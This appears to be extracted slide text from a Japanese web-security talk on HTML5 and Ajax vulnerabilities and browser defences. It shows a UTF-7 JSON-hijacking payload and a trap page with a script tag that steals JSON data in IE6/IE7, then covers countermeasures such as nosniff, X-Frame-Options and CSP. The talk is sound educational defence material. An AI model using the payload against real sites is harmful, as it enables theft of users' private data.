"name" : "abc+MPv/fwAiAH0AXQA7-var t+AD0AWwB7ACIAIg-:+ACI-",
"mail" : "[email protected]"
攻撃者によって挿入
},
{
"name" : "John Smith",
"mail" : "[email protected]"
}
]
ターゲットとなるJSON : http://example.com/newmail.json
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
JSON Hijacking for IE
[
{
"name" : "abc"}];var t=[{"":"",
"mail" : "[email protected]"
},
{
"name" : "John Smith",
"mail" : "[email protected]"
}
]
ターゲットとなるJSON : http://example.com/newmail.json
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
JSON Hijacking for IE
攻撃者は罠ページを準備して誘導
<script src="http://example.com/newmail.json" charset="utf-7">
<script> alert( t[ 1 ].name + t[ 1 ].mail ); </script>
ターゲットとなるJSON http://example.com/newmail.json
[
{
"name" : "abc+MPv/fwAiAH0AXQA7-var
"abc"}];var t=[{"":"",
t+AD0AWwB7ACIAIg-:+ACI-",
"mail" : "[email protected]"
},
{
"name" : "John Smith",
"mail" : "[email protected]"
}
]
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
JSON Hijacking for IE
攻撃者の準備した罠ページ
<script src="http://example.com/newmail.json" charset="utf-7">
攻撃者対象のJSON
こっちが優先される
Content-Type: application/json; charset=utf-8
[
{
"name" : "abc+MPv/fwAiAH0AXQA7-var t+AD0AWwB7ACIAIg-:+ACI-",
"mail" : "[email protected]"
},
{
"name" : "John Smith",
"mail" : "[email protected]"
}
]
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
JSON Hijacking for IE
IE6,IE7はHTTPレスポンスヘッダより
<script>要素のcharset属性を優先
IE8では修正されている
2008年10月に報告したが修正されない
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
Ajaxデータを利用した攻撃
Ajaxデータを利用した攻撃
Ajaxデータを利用したXSS
Ajaxでやり取りされるデータ(JSON,text, csv etc..)
を直接ブラウザ上で開いたときにXSS
Ajaxデータの盗み見
機密情報を含むAjaxデータを受動的攻撃により攻撃者
が盗み見る
対策
XMLHttpRequest以外からのアクセスを弾く
X-Content-Type-Options: nosniffヘッダ
エスケープ(XSS対策)、POST only(盗み見対策)など
も次善策として…
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
Ajaxデータを利用した攻撃への対策
XMLHttpRequest以外からのアクセスを
弾く
Ajaxデータは通常、XHRからのリクエスト
を想定している
XHR以外からアクセスさせないことでXSSお
よび盗み見を防ぐことができる
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
Ajaxデータを利用した攻撃への対策
XMLHttpRequest以外からのアクセスを
弾く
リクエストヘッダに特定文字列を入れる
GET http://example.jp/foo.json HTTP/1.1
Host: example.jp
Connection: keep-alive
X-Request-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:8.0)
jQuery、prototype.js だと X-Request-With は自動挿入される
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
Ajaxデータを利用した攻撃への対策
XMLHttpRequest以外からのアクセスを
弾く
リクエストヘッダに特定文字列を入れる
GET http://example.jp/foo.json HTTP/1.1
Host: example.jp
Connection: keep-alive
X-Request-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:8.0)
jQuery、prototype.js だと X-Request-With は自動挿入される
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
Ajaxデータを利用した攻撃への対策
X-Content-Type-Optoins:nosniff
レスポンスヘッダで応答
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
IE8以降でHTML扱いされることがなくなる
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
HTML5が生む脆弱性:まとめ
Cross-Site Scripting(XSS)
これまで通りの対策の徹底
Cross-Document Messaging(XDM)
originによる通信相手の確認
XMLHttpRequest(XHR) Lv.2
クライアント/サーバ側とも通信相手を確認
Ajaxデータを利用した攻撃
XMLHttpRequestからの要求のみに限定
X-Content-Type-Options:nosniffヘッダの
付与
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
新しい防御機構
新しい防御機構
様々な防御機構がブラウザに追加
XSSフィルター / XSS Auditor
 X-Content-Type-Options
クリックジャッキング対策
Content Security Policy
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
XSSフィルター / XSS Auditor
反射型のXSSをほぼ軽減
IE8+、Chrome、Safari に搭載
レスポンスヘッダに
X-XSS-Protection: 0
の指定でフィルタを停止可能
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
X-Content-Type-Options
Content-Typeに従ってコンテンツを開
く指定
コンテンツ内の "sniff" を行わなくなる
IE8+で有効
レスポンスヘッダに以下をつける
X-Content-Type-Options: nosniff
原則、全てのコンテンツにつけておくべ
き。
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
クリックジャッキング対策
クリックジャッキング
標的サイトを透明に重ね、意図しないクリッ
ク等を引き起こす攻撃
透明表示の
標的サイト
罠サイト
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
クリックジャッキング対策
frameおよびiframeでの表示を禁止する
IE8+、Chrome、Safari、Opera、
Firefoxの各ブラウザが対応
レスポンスヘッダで指定
// 全ての埋め込みを禁止
X-Frame-Options: DENY
// 同一オリジン以外からの埋め込みを禁止
X-Frame-Options: SAMEORIGIN
http://www.jpcert.or.jp/ed/2009/ed090001.pdf
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
Content Security Policy
Content-Security-Policy(CSP)
<script src>等のソースを限定するための
指令
レスポンスヘッダで指定
// 画像以外を同一ドメインに制約
Content-Security-Policy: default-src 'self'; image-src *
// example.jp の script src を許可
Content-Security-Policy: default-src 'self'; script-src example.jp
http://www.w3.org/TR/2012/WD-CSP-20120710/
http://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/
質問タイム
質問
[email protected]
[email protected]
@hasegawayosuke
http://utf-8.jp/
security-mikan techtalk #5
NetAgent http://www.netagent.co.jp/